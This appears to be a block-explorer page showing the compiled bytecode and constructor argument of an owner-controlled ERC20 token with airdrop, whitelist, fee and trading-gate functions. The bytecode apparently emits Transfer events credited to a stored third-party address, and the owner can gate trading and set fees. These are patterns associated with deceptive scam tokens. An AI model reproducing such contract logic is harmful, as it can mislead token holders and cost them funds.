60006020820190508181036000830152613ad381613a97565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000613b3660268361245c565b9150613b4182613ada565b604082019050919050565b60006020820190508181036000830152613b6581613b29565b905091905056fea2646970667358221220c0d88f13015c36af306fa3c984d2fbcfb7723f4ce5aa9f5746e6bd68ce3ede7b64736f6c6343000818003300000000000000000000000082c2307a916fe26e375be3ecb311b94785448d2f

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101f05760003560e01c8063715018a61161010f578063b715af76116100a2578063e724b0c211610071578063e724b0c21461059d578063ece8c31c146105b9578063f2fde38b146105d5578063f437bc59146105f1576101f0565b8063b715af7614610517578063bf0058d014610533578063d5abeb011461054f578063dd62ed3e1461056d576101f0565b806395d89b41116100de57806395d89b411461047b578063985bdfd114610499578063a457c2d7146104b7578063a9059cbb146104e7576101f0565b8063715018a61461041b5780638187f516146104255780638da5cb5b146104415780638ee6f96c1461045f576101f0565b80632b14ca561161018757806349bd5a5e1161015657806349bd5a5e146103915780634c255c97146103af57806358a1aaae146103cd57806370a08231146103eb576101f0565b80632b14ca5614610307578063313ce5671461032557806339509351146103435780634706240214610373576101f0565b806318160ddd116101c357806318160ddd1461027d57806321326f091461029b57806323b872dd146102b957806327c8f835146102e9576101f0565b806306fdde03146101f557806308b3e41914610213578063095ea7b31461022f578063158ef93e1461025f575b600080fd5b6101fd61060f565b60405161020a91906124e1565b60405180910390f35b61022d600480360381019061022891906126f3565b6106a1565b005b6102496004803603810190610244919061274f565b6108ad565b60405161025691906127aa565b60405180910390f35b6102676108cb565b60405161027491906127aa565b60405180910390f35b6102856108de565b60405161029291906127d4565b60405180910390f35b6102a36108e8565b6040516102b091906127d4565b60405180910390f35b6102d360048036038101906102ce91906127ef565b6108ee565b6040516102e091906127aa565b60405180910390f35b6102f16109e6565b6040516102fe9190612851565b60405180910390f35b61030f610a0c565b60405161031c91906127d4565b60405180910390f35b61032d610a30565b60405161033a9190612888565b60405180910390f35b61035d6004803603810190610358919061274f565b610a39565b60405161036a91906127aa565b60405180910390f35b61037b610ae5565b60405161038891906127d4565b60405180910390f35b610399610b09565b6040516103a69190612851565b60405180910390f35b6103b7610b2f565b6040516103c491906128c0565b60405180910390f35b6103d5610b35565b6040516103e291906127d4565b60405180910390f35b610405600480360381019061040091906128db565b610b3b565b60405161041291906127d4565b60405180910390f35b610423610b84565b005b61043f600480360381019061043a91906128db565b610c25565b005b610449610d6d565b6040516104569190612851565b60405180910390f35b6104796004803603810190610474919061274f565b610d96565b005b610483610f0f565b60405161049091906124e1565b60405180910390f35b6104a1610fa1565b6040516104ae91906128c0565b60405180910390f35b6104d160048036038101906104cc919061274f565b610fa7565b6040516104de91906127aa565b60405180910390f35b61050160048036038101906104fc919061274f565b611092565b60405161050e91906127aa565b60405180910390f35b610531600480360381019061052c9190612908565b6110b0565b005b61054d600480360381019061054891906129fd565b611157565b005b610557611249565b60405161056491906127d4565b60405180910390f35b61058760048036038101906105829190612a75565b61126d565b60405161059491906127d4565b60405180910390f35b6105b760048036038101906105b29190612ae1565b6112f4565b005b6105d360048036038101906105ce9190612b3d565b6114e5565b005b6105ef60048036038101906105ea91906128db565b611701565b005b6105f9611811565b6040516106069190612851565b60405180910390f35b60606004805461061e90612bb5565b80601f016020809104026020016040519081016040528092919081815260200182805461064a90612bb5565b80156106975780601f1061066c57610100808354040283529160200191610697565b820191906000526020600020905b81548152906001019060200180831161067a57829003601f168201915b5050505050905090565b6106a9611837565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610736576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072d90612c32565b60405180910390fd5b600082511161077a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077190612c9e565b60405180910390fd5b600081116107bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b490612d0a565b60405180910390fd5b60006107c7610a30565b600a6107d39190612e8c565b826107de9190612ed7565b905060005b83518110156108a757600073ffffffffffffffffffffffffffffffffffffffff1684828151811061081757610816612f19565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1603610875576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086c90612f94565b60405180910390fd5b61089a3385838151811061088c5761088b612f19565b5b60200260200101518461183f565b80806001019150506107e3565b50505050565b60006108c16108ba611837565b8484611dd8565b6001905092915050565b600660009054906101000a900460ff1681565b6000600354905090565b600a5481565b60006108fb84848461183f565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610946611837565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156109c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109bd90613026565b60405180910390fd5b6109da856109d2611837565b858403611dd8565b60019150509392505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b7f000000000000000000000000000000000000000000000000000000000000000081565b60006012905090565b6000610adb610a46611837565b848460026000610a54611837565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ad69190613046565b611dd8565b6001905092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61271081565b60095481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b8c611837565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1090612c32565b60405180910390fd5b610c236000611fa1565b565b610c2d611837565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb190612c32565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610d29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d20906130ec565b60405180910390fd5b80600660016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610d9e611837565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2290612c32565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9190612f94565b60405180910390fd5b60008111610edd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed490612d0a565b60405180910390fd5b6000610ee7610a30565b600a610ef39190612e8c565b82610efe9190612ed7565b9050610f0a8382612065565b505050565b606060058054610f1e90612bb5565b80601f0160208091040260200160405190810160405280929190818152602001828054610f4a90612bb5565b8015610f975780601f10610f6c57610100808354040283529160200191610f97565b820191906000526020600020905b815481529060010190602001808311610f7a57829003601f168201915b5050505050905090565b61271081565b60008060026000610fb6611837565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015611073576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106a9061317e565b60405180910390fd5b61108761107e611837565b85858403611dd8565b600191505092915050565b60006110a661109f611837565b848461183f565b6001905092915050565b6110b8611837565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611145576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113c90612c32565b60405180910390fd5b8160098190555080600a819055505050565b61115f611837565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e390612c32565b60405180910390fd5b81600490816111fb919061334a565b50806005908161120b919061334a565b507f0858765c007173eefd0c7d006dbabfa031554929e9fff1d057b370654a40f217828260405161123d92919061341c565b60405180910390a15050565b7f0000000000000000000000000000000000000000033b2e3c9fd0803ce800000081565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6112fc611837565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612c32565b60405180910390fd5b60008251116113cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c4906134c5565b60405180910390fd5b60005b82518110156114e057600073ffffffffffffffffffffffffffffffffffffffff1683828151811061140457611403612f19565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1603611462576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145990613531565b60405180910390fd5b81600b600085848151811061147a57611479612f19565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506113d0565b505050565b6114ed611837565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461157a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157190612c32565b60405180910390fd5b60008151116115be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b590612c9e565b60405180910390fd5b60006115c8610a30565b600a6115d49190612e8c565b905060005b82518110156116fc57600073ffffffffffffffffffffffffffffffffffffffff1683828151811061160d5761160c612f19565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff160361166b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166290612f94565b60405180910390fd5b600061271062015f91423385604051602001611689939291906135ba565b6040516020818303038152906040528051906020012060001c6116ac9190613626565b6116b69190613046565b9050600083826116c69190612ed7565b90506116ed338685815181106116df576116de612f19565b5b60200260200101518361183f565b505080806001019150506115d9565b505050565b611709611837565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611796576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178d90612c32565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611805576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117fc906136c9565b60405180910390fd5b61180e81611fa1565b50565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600033905090565b60011515600660009054906101000a900460ff16151514611895576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188c90613735565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015611906575060011515600660009054906101000a900460ff161515145b156119be57611913610d6d565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148061197e575061194f610d6d565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b6119bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b4906137a1565b60405180910390fd5b5b6000819050600073ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614158015611a555750611a25610d6d565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a945750611a64610d6d565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611d05576000600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603611afa576009549050611bb8565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611bb75760011515600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503611bb05760009050611bb6565b600a5490505b5b5b6000811115611d0357600061271061ffff168285611bd69190612ed7565b611be091906137c1565b90508084611bee91906137f2565b9250611c1d86600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836121c5565b611c25610d6d565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1603611d0157600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611cf891906127d4565b60405180910390a35b505b505b611d108484836121c5565b611d18610d6d565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611dd2578273ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611dc991906127d4565b60405180910390a35b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611e47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3e90613898565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611eb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ead9061392a565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611f9491906127d4565b60405180910390a3505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036120d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120cb90613996565b60405180910390fd5b6120e060008383612447565b80600360008282546120f29190613046565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546121489190613046565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516121ad91906127d4565b60405180910390a36121c16000838361244c565b5050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612234576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161222b90613a28565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036122a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161229a90613aba565b60405180910390fd5b6122ae838383612447565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612335576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161232c90613b4c565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546123ca9190613046565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161242e91906127d4565b60405180910390a361244184848461244c565b50505050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561248b578082015181840152602081019050612470565b60008484015250505050565b6000601f19601f8301169050919050565b60006124b382612451565b6124bd818561245c565b93506124cd81856020860161246d565b6124d681612497565b840191505092915050565b600060208201905081810360008301526124fb81846124a8565b905092915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61255482612497565b810181811067ffffffffffffffff821117156125735761257261251c565b5b80604052505050565b6000612586612503565b9050612592828261254b565b919050565b600067ffffffffffffffff8211156125b2576125b161251c565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006125f3826125c8565b9050919050565b612603816125e8565b811461260e57600080fd5b50565b600081359050612620816125fa565b92915050565b600061263961263484612597565b61257c565b9050808382526020820190506020840283018581111561265c5761265b6125c3565b5b835b8181101561268557806126718882612611565b84526020840193505060208101905061265e565b5050509392505050565b600082601f8301126126a4576126a3612517565b5b81356126b4848260208601612626565b91505092915050565b6000819050919050565b6126d0816126bd565b81146126db57600080fd5b50565b6000813590506126ed816126c7565b92915050565b6000806040838503121561270a5761270961250d565b5b600083013567ffffffffffffffff81111561272857612727612512565b5b6127348582860161268f565b9250506020612745858286016126de565b9150509250929050565b600080604083850312156127665761276561250d565b5b600061277485828601612611565b9250506020612785858286016126de565b9150509250929050565b60008115159050919050565b6127a48161278f565b82525050565b60006020820190506127bf600083018461279b565b92915050565b6127ce816126bd565b82525050565b60006020820190506127e960008301846127c5565b92915050565b6000806000606084860312156128085761280761250d565b5b600061281686828701612611565b935050602061282786828701612611565b9250506040612838868287016126de565b9150509250925092565b61284b816125e8565b82525050565b60006020820190506128666000830184612842565b92915050565b600060ff82169050919050565b6128828161286c565b82525050565b600060208201905061289d6000830184612879565b92915050565b600061ffff82169050919050565b6128ba816128a3565b82525050565b60006020820190506128d560008301846128b1565b92915050565b6000602082840312156128f1576128f061250d565b5b60006128ff84828501612611565b91505092915050565b6000806040838503121561291f5761291e61250d565b5b600061292d858286016126de565b925050602061293e858286016126de565b9150509250929050565b600080fd5b600067ffffffffffffffff8211156129685761296761251c565b5b61297182612497565b9050602081019050919050565b82818337600083830152505050565b60006129a061299b8461294d565b61257c565b9050828152602081018484840111156129bc576129bb612948565b5b6129c784828561297e565b509392505050565b600082601f8301126129e4576129e3612517565b5b81356129f484826020860161298d565b91505092915050565b60008060408385031215612a1457612a1361250d565b5b600083013567ffffffffffffffff811115612a3257612a31612512565b5b612a3e858286016129cf565b925050602083013567ffffffffffffffff811115612a5f57612a5e612512565b5b612a6b858286016129cf565b9150509250929050565b60008060408385031215612a8c57612a8b61250d565b5b6000612a9a85828601612611565b9250506020612aab85828601612611565b9150509250929050565b612abe8161278f565b8114612ac957600080fd5b50565b600081359050612adb81612ab5565b92915050565b60008060408385031215612af857612af761250d565b5b600083013567ffffffffffffffff811115612b1657612b15612512565b5b612b228582860161268f565b9250506020612b3385828601612acc565b9150509250929050565b600060208284031215612b5357612b5261250d565b5b600082013567ffffffffffffffff811115612b7157612b70612512565b5b612b7d8482850161268f565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612bcd57607f821691505b602082108103612be057612bdf612b86565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612c1c60208361245c565b9150612c2782612be6565b602082019050919050565b60006020820190508181036000830152612c4b81612c0f565b9050919050565b7f526563697069656e7473206c6973742063616e6e6f7420626520656d70747900600082015250565b6000612c88601f8361245c565b9150612c9382612c52565b602082019050919050565b60006020820190508181036000830152612cb781612c7b565b9050919050565b7f416d6f756e74206d7573742062652067726561746572207468616e207a65726f600082015250565b6000612cf460208361245c565b9150612cff82612cbe565b602082019050919050565b60006020820190508181036000830152612d2381612ce7565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115612db057808604811115612d8c57612d8b612d2a565b5b6001851615612d9b5780820291505b8081029050612da985612d59565b9450612d70565b94509492505050565b600082612dc95760019050612e85565b81612dd75760009050612e85565b8160018114612ded5760028114612df757612e26565b6001915050612e85565b60ff841115612e0957612e08612d2a565b5b8360020a915084821115612e2057612e1f612d2a565b5b50612e85565b5060208310610133831016604e8410600b8410161715612e5b5782820a905083811115612e5657612e55612d2a565b5b612e85565b612e688484846001612d66565b92509050818404811115612e7f57612e7e612d2a565b5b81810290505b9392505050565b6000612e97826126bd565b9150612ea28361286c565b9250612ecf7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612db9565b905092915050565b6000612ee2826126bd565b9150612eed836126bd565b9250828202612efb816126bd565b91508282048414831517612f1257612f11612d2a565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f496e76616c696420726563697069656e74206164647265737300000000000000600082015250565b6000612f7e60198361245c565b9150612f8982612f48565b602082019050919050565b60006020820190508181036000830152612fad81612f71565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b600061301060288361245c565b915061301b82612fb4565b604082019050919050565b6000602082019050818103600083015261303f81613003565b9050919050565b6000613051826126bd565b915061305c836126bd565b925082820190508082111561307457613073612d2a565b5b92915050565b7f544553543a2054686520556e697377617020563220706169722061646472657360008201527f732063616e6e6f7420626520746865207a65726f20616464726573732e000000602082015250565b60006130d6603d8361245c565b91506130e18261307a565b604082019050919050565b60006020820190508181036000830152613105816130c9565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061316860258361245c565b91506131738261310c565b604082019050919050565b600060208201905081810360008301526131978161315b565b9050919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026132007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826131c3565b61320a86836131c3565b95508019841693508086168417925050509392505050565b6000819050919050565b600061324761324261323d846126bd565b613222565b6126bd565b9050919050565b6000819050919050565b6132618361322c565b61327561326d8261324e565b8484546131d0565b825550505050565b600090565b61328a61327d565b613295818484613258565b505050565b5b818110156132b9576132ae600082613282565b60018101905061329b565b5050565b601f8211156132fe576132cf8161319e565b6132d8846131b3565b810160208510156132e7578190505b6132fb6132f3856131b3565b83018261329a565b50505b505050565b600082821c905092915050565b600061332160001984600802613303565b1980831691505092915050565b600061333a8383613310565b9150826002028217905092915050565b61335382612451565b67ffffffffffffffff81111561336c5761336b61251c565b5b6133768254612bb5565b6133818282856132bd565b600060209050601f8311600181146133b457600084156133a2578287015190505b6133ac858261332e565b865550613414565b601f1984166133c28661319e565b60005b828110156133ea578489015182556001820191506020850194506020810190506133c5565b868310156134075784890151613403601f891682613310565b8355505b6001600288020188555050505b505050505050565b6000604082019050818103600083015261343681856124a8565b9050818103602083015261344a81846124a8565b90509392505050565b7f57686974656c6973743a2061646472657373206c6973742063616e6e6f74206260008201527f6520656d70747900000000000000000000000000000000000000000000000000602082015250565b60006134af60278361245c565b91506134ba82613453565b604082019050919050565b600060208201905081810360008301526134de816134a2565b9050919050565b7f57686974656c6973743a20696e76616c69642061646472657373000000000000600082015250565b600061351b601a8361245c565b9150613526826134e5565b602082019050919050565b6000602082019050818103600083015261354a8161350e565b9050919050565b6000819050919050565b61356c613567826126bd565b613551565b82525050565b60008160601b9050919050565b600061358a82613572565b9050919050565b600061359c8261357f565b9050919050565b6135b46135af826125e8565b613591565b82525050565b60006135c6828661355b565b6020820191506135d682856135a3565b6014820191506135e6828461355b565b602082019150819050949350505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613631826126bd565b915061363c836126bd565b92508261364c5761364b6135f7565b5b828206905092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006136b360268361245c565b91506136be82613657565b604082019050919050565b600060208201905081810360008301526136e2816136a6565b9050919050565b7f436f6e74726163743a207472616465206973206e6f74206f70656e2100000000600082015250565b600061371f601c8361245c565b915061372a826136e9565b602082019050919050565b6000602082019050818103600083015261374e81613712565b9050919050565b7f436f6e74726163743a2074726164696e67206973206e6f742073746172746564600082015250565b600061378b60208361245c565b915061379682613755565b602082019050919050565b600060208201905081810360008301526137ba8161377e565b9050919050565b60006137cc826126bd565b91506137d7836126bd565b9250826137e7576137e66135f7565b5b828204905092915050565b60006137fd826126bd565b9150613808836126bd565b92508282039050818111156138205761381f612d2a565b5b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061388260248361245c565b915061388d82613826565b604082019050919050565b600060208201905081810360008301526138b181613875565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061391460228361245c565b915061391f826138b8565b604082019050919050565b6000602082019050818103600083015261394381613907565b9050919050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000613980601f8361245c565b915061398b8261394a565b602082019050919050565b600060208201905081810360008301526139af81613973565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613a1260258361245c565b9150613a1d826139b6565b604082019050919050565b60006020820190508181036000830152613a4181613a05565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613aa460238361245c565b9150613aaf82613a48565b604082019050919050565b60006020820190508181036000830152613ad381613a97565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000613b3660268361245c565b9150613b4182613ada565b604082019050919050565b60006020820190508181036000830152613b6581613b29565b905091905056fea2646970667358221220c0d88f13015c36af306fa3c984d2fbcfb7723f4ce5aa9f5746e6bd68ce3ede7b64736f6c63430008180033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000082c2307a916fe26e375be3ecb311b94785448d2f

-----Decoded View---------------
Arg [0] : initialOwner (address): 0x82C2307A916FE26e375BE3EcB311b94785448d2f

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 00000000000000000000000082c2307a916fe26e375be3ecb311b94785448d2f


Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.